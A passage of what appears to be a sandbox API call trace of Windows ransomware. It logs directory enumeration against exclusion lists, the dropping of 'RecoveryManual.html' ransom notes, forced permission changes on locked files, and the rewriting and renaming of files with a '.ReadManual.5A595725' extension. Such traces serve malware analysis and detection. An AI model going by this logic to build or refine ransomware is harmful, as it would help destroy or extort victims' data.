ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.286] lstrcpyW (in: lpString1=0x69b8fa, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0250.286] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\Windows\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\WINNT") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.286] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.287] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.287] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.287] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned 53 [0250.287] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bff00 [0250.289] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0250.289] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.289] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0250.289] lstrcpyW (in: lpString1=0x6ab906, lpString2="msadcer.dll.mui" | out: lpString1="msadcer.dll.mui") returned="msadcer.dll.mui" [0250.289] lstrcmpiW (lpString1="msadcer.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.289] StrStrIW (lpFirst="msadcer.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.289] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.289] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.289] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.289] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.289] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.289] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\" [0250.289] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\RecoveryManual.html" [0250.289] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\en-US\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0250.298] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0250.299] CloseHandle (hObject=0x184) returned 1 [0250.299] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0250.299] lstrcpyW (in: lpString1=0x6ab906, lpString2="msadcfr.dll.mui" | out: lpString1="msadcfr.dll.mui") returned="msadcfr.dll.mui" [0250.299] lstrcmpiW (lpString1="msadcfr.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.299] StrStrIW (lpFirst="msadcfr.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.299] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.299] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.299] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.299] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.299] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.299] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0250.299] lstrcpyW (in: lpString1=0x6ab906, lpString2="msadcor.dll.mui" | out: lpString1="msadcor.dll.mui") returned="msadcor.dll.mui" [0250.299] lstrcmpiW (lpString1="msadcor.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.299] StrStrIW (lpFirst="msadcor.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.299] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.299] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.299] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.299] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.299] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.299] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0250.299] lstrcpyW (in: lpString1=0x6ab906, lpString2="msaddsr.dll.mui" | out: lpString1="msaddsr.dll.mui") returned="msaddsr.dll.mui" [0250.299] lstrcmpiW (lpString1="msaddsr.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.299] StrStrIW (lpFirst="msaddsr.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.300] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.300] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.300] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0250.300] lstrcpyW (in: lpString1=0x6ab906, lpString2="msdaprsr.dll.mui" | out: lpString1="msdaprsr.dll.mui") returned="msdaprsr.dll.mui" [0250.300] lstrcmpiW (lpString1="msdaprsr.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.300] StrStrIW (lpFirst="msdaprsr.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.300] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.300] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.300] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0250.300] lstrcpyW (in: lpString1=0x6ab906, lpString2="msdaremr.dll.mui" | out: lpString1="msdaremr.dll.mui") returned="msdaremr.dll.mui" [0250.300] lstrcmpiW (lpString1="msdaremr.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.300] StrStrIW (lpFirst="msdaremr.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.300] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.300] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.300] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.300] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0250.300] FindClose (in: hFindFile=0x6bff00 | out: hFindFile=0x6bff00) returned 1 [0250.300] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0250.300] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="handler.reg" | out: lpString1="handler.reg") returned="handler.reg" [0250.300] lstrcmpiW (lpString1="handler.reg", lpString2="RecoveryManual.html") returned -1 [0250.300] StrStrIW (lpFirst="handler.reg", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.300] StrCmpIW (psz1="reg", psz2="exe") returned 1 [0250.300] StrCmpIW (psz1="reg", psz2="dll") returned 1 [0250.300] StrCmpIW (psz1="reg", psz2="sys") returned -1 [0250.300] StrCmpIW (psz1="reg", psz2="msi") returned 1 [0250.300] StrCmpIW (psz1="reg", psz2="mui") returned 1 [0250.301] StrCmpIW (psz1="reg", psz2="inf") returned 1 [0250.301] StrCmpIW (psz1="reg", psz2="cat") returned 1 [0250.301] StrCmpIW (psz1="reg", psz2="bat") returned 1 [0250.301] StrCmpIW (psz1="reg", psz2="cmd") returned 1 [0250.301] StrCmpIW (psz1="reg", psz2="ps1") returned 1 [0250.301] StrCmpIW (psz1="reg", psz2="vbs") returned -1 [0250.301] StrCmpIW (psz1="reg", psz2="ttf") returned -1 [0250.301] StrCmpIW (psz1="reg", psz2="fon") returned 1 [0250.301] StrCmpIW (psz1="reg", psz2="lnk") returned 1 [0250.301] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg" [0250.301] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg.ReadManual.5A595725" [0250.301] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg.ReadManual.5A595725") returned 78 [0250.301] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37096966606) returned 1 [0250.301] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg")) returned 0x20 [0250.302] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.302] GetLastError () returned 0x5 [0250.302] GetNamedSecurityInfoW () returned 0x0 [0250.302] SetNamedSecurityInfoW () returned 0x0 [0250.302] SetNamedSecurityInfoW () returned 0x0 [0250.303] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.303] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=518) returned 1 [0250.303] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x206, lpName=0x0) returned 0x184 [0250.303] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xac) returned 1 [0250.304] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.304] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.306] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.307] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x206) returned 0x2f0000 [0250.307] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.307] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37097611558) returned 1 [0250.307] CloseHandle (hObject=0x184) returned 1 [0250.307] SetSecurityInfo () returned 0x5 [0250.307] SetSecurityInfo () returned 0x5 [0250.308] LocalFree (hMem=0x674d38) returned 0x0 [0250.308] CloseHandle (hObject=0x194) returned 1 [0250.308] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\" [0250.308] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\RecoveryManual.html" [0250.308] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\RecoveryManual.html" (normalized: "c:\\program files\\common files\\system\\msadc\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0250.309] WriteFile (in: hFile=0x194, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fdf0, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fdf0*=0xae9, lpOverlapped=0x0) returned 1 [0250.309] CloseHandle (hObject=0x194) returned 1 [0250.310] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0250.310] lstrcpyW (in: lpString1=0x6ab8fa, lpString2="handsafe.reg" | out: lpString1="handsafe.reg") returned="handsafe.reg" [0250.310] lstrcmpiW (lpString1="handsafe.reg", lpString2="RecoveryManual.html") returned -1 [0250.310] StrStrIW (lpFirst="handsafe.reg", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.310] StrCmpIW (psz1="reg", psz2="exe") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="dll") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="sys") returned -1 [0250.310] StrCmpIW (psz1="reg", psz2="msi") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="mui") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="inf") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="cat") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="bat") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="cmd") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="ps1") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="vbs") returned -1 [0250.310] StrCmpIW (psz1="reg", psz2="ttf") returned -1 [0250.310] StrCmpIW (psz1="reg", psz2="fon") returned 1 [0250.310] StrCmpIW (psz1="reg", psz2="lnk") returned 1 [0250.310] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" [0250.310] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.ReadManual.5A595725" [0250.310] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg.ReadManual.5A595725") returned 79 [0250.310] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37097890656) returned 1 [0250.310] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg")) returned 0x20 [0250.310] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.310] GetLastError () returned 0x5 [0250.310] GetNamedSecurityInfoW () returned 0x0 [0250.311] SetNamedSecurityInfoW () returned 0x0 [0250.311] SetNamedSecurityInfoW () returned 0x0 [0250.311] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.312] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=588) returned 1 [0250.312] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24c, lpName=0x0) returned 0x184 [0250.312] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xae) returned 1 [0250.313] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.313] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.314] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.314] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x24c) returned 0x2f0000 [0250.314] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.314] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37098324147) returned 1 [0250.315] CloseHandle (hObject=0x184) returned 1 [0250.315] SetSecurityInfo () returned 0x5 [0250.315] SetSecurityInfo () returned 0x5 [0250.315] LocalFree (hMem=0x674d38) returned 0x0 [0250.315] CloseHandle 